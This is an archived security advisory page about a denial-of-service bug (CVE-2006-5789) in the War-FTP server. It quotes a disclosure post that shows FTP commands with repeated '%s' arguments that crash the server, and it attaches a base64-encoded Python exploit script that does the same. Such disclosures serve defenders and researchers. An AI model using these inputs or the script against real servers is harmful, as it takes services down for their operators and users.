SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (File Transfer/Sharing)  >   War-FTP Vendors:   Jgaa (jgaa.com)
War-FTP File Command Processing Error Lets Remote Authenticated Users Deny Service
SecurityTracker Alert ID:  1017174
SecurityTracker URL:  http://securitytracker.com/id/1017174
CVE Reference:   CVE-2006-5789   (Links to External Site)
Updated:  Jun 3 2008
Original Entry Date:  Nov 7 2006
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 1.82.00-RC11
Description:   A vulnerability was reported in War-FTP. A remote authenticated user can cause denial of service conditions.

A remote authenticated user can send specially crafted command parameters including the '%s' character to cause the target FTP service to crash.

File-related commands are affected, including the following:

CWD
CDUP
DELE
NLST
LIST
SIZE

Joxean Koret discovered this vulnerability.

Impact:   A remote authenticated user can cause denial of service conditions on the target system.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.warftp.org (Links to External Site)
Cause:   Not specified
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-disclosure] WarFTPd 1.82.00-RC11 Remote Denial Of Service

--0-140712085-1162891439=:3129
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Content-Id: 
Content-Disposition: inline

WarFTPd 1.82.00-RC11 Remote Denial Of Service
---------------------------------------------

WarFTPd is vulnerable to a DOS condition when passing
to various commands a long string with
two times the "%s" character(s) inside. It looks as
non exploitable as the problem crashes with 
the same output at the same instruction and address
regarding or regardless of the buffer size
and the %${char} passed. Maybe another one founds it
vulnerable.

Example:
	
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256

or 

ftp> cdup %s*256

Server will crash as follows:
	
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540

00431540   8A08             MOV CL,BYTE PTR DS:[EAX]

Only one shoot is needed. Any file related operation
will crash. It was found during an ftp
fuzzing session.

The following commands found vulnerables (at least):
	
	CWD
	CDUP
	DELE
	NLST
	LIST
	SIZE

Well, any file related operation. Attached goes a
Python exploit.

Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
---------------------------------------------------------------------------

Contact
-------

Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es


		
______________________________________________ 
LLama Gratis a cualquier PC del Mundo. 
http://es.voice.yahoo.com
--0-140712085-1162891439=:3129
Content-Type: application/octet-stream; name="dos.py"
Content-Transfer-Encoding: base64
Content-Description: 1450979178-dos.py
Content-Disposition: attachment; filename="dos.py"

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3lzCmltcG9ydCBmdHBs
aWIKCnByaW50ICJXQVJfRlRQRCBSZW1vdGUgRGVuaWFsIE9mIFNlcnZpY2Ug
KERPUykiCnByaW50ICJDb3B5cmlnaHQgKGMpIEpveGVhbiBLb3JldCIKcHJp
bnQKCnRhcmdldCA9ICIxOTIuMTY4LjEuMTMiCnRhcmdldFBvcnQgPSAiMjEi
Cgp0cnk6CiAgICBmdHAgPSBmdHBsaWIuRlRQKCkKCiAgICBwcmludCAiWytd
IENvbm5lY3RpbmcgdG8gdGFyZ2V0ICIKICAgIG1zZyA9IGZ0cC5jb25uZWN0
KHRhcmdldCwgdGFyZ2V0UG9ydCkKICAgIHByaW50ICJbK10gT2suIFRhcmdl
dCBiYW5uZXIiCiAgICBwcmludCBtc2cKICAgIHByaW50CiAgICBwcmludCAi
WytdIFRyeWluZyB0byBsb2dnaW5nIGFub255bW91c2x5IgogICAgbXNnID0g
ZnRwLmxvZ2luKCkgIyBBbm9ueW1vdXMKICAgIHByaW50ICJbK10gT2suIE1l
c3NhZ2UiCiAgICBwcmludCBtc2cKICAgIHByaW50CmV4Y2VwdDoKICAgIHBy
aW50ICJbIV0gRXhwbG9pdCBkb2Vzbid0IHdvcmsuICIgKyBzdHIoc3lzLmV4
Y19pbmZvKClbMV0pCiAgICBzeXMuZXhpdCgwKQoKYSA9ICIlcyVzIgoiIiIK
Zm9yIGkgaW4gcmFuZ2UoMCk6CiAgICBhICs9IGEKIiIiCmIgPSAiQUFBQSIK
CmZvciBpIGluIHJhbmdlKDYpOgogICAgYiArPSBiCgphID0gYSArIGIKCnBy
aW50ICJbK10gRXhwbG9pdGluZyB3aXRoIGEgYnVmZmVyIG9mICIgKyBzdHIo
bGVuKGEpKSArICIgYnl0ZShzKSAuLi4gIgoKdHJ5OgogICAgZnRwLmN3ZChh
KQpleGNlcHQ6CiAgICBwcmludCAiWytdIEV4cGxvaXQgYXBwYXJlbnRseSB3
b3Jrcy4gVHJ5aW5nIHRvIHZlcmlmeSBpdCAuLi4gIgoKICAgIHRyeToKICAg
ICAgICBmdHAuY29ubmVjdCh0YXJnZXQsIHRhcmdldFBvcnQpCiAgICAgICAg
cHJpbnQgIlshXSBObywgaXQgZG9lc24ndCB3b3JrIFsiICsgc3RyKHN5cy5l
eGNfaW5mbygpWzFdKSArICJdIDooIgogICAgZXhjZXB0OgogICAgICAgIHBy
aW50ICJbIV0gT2suIFNlcnZlciBpcyBkZWFkLCBleHBsb2l0IHN1Y2Nlc3Nm
dWxseSBleGVjdXRlZC4gIgoK

--0-140712085-1162891439=:3129
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--0-140712085-1162891439=:3129--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2022, SecurityGlobal.net LLC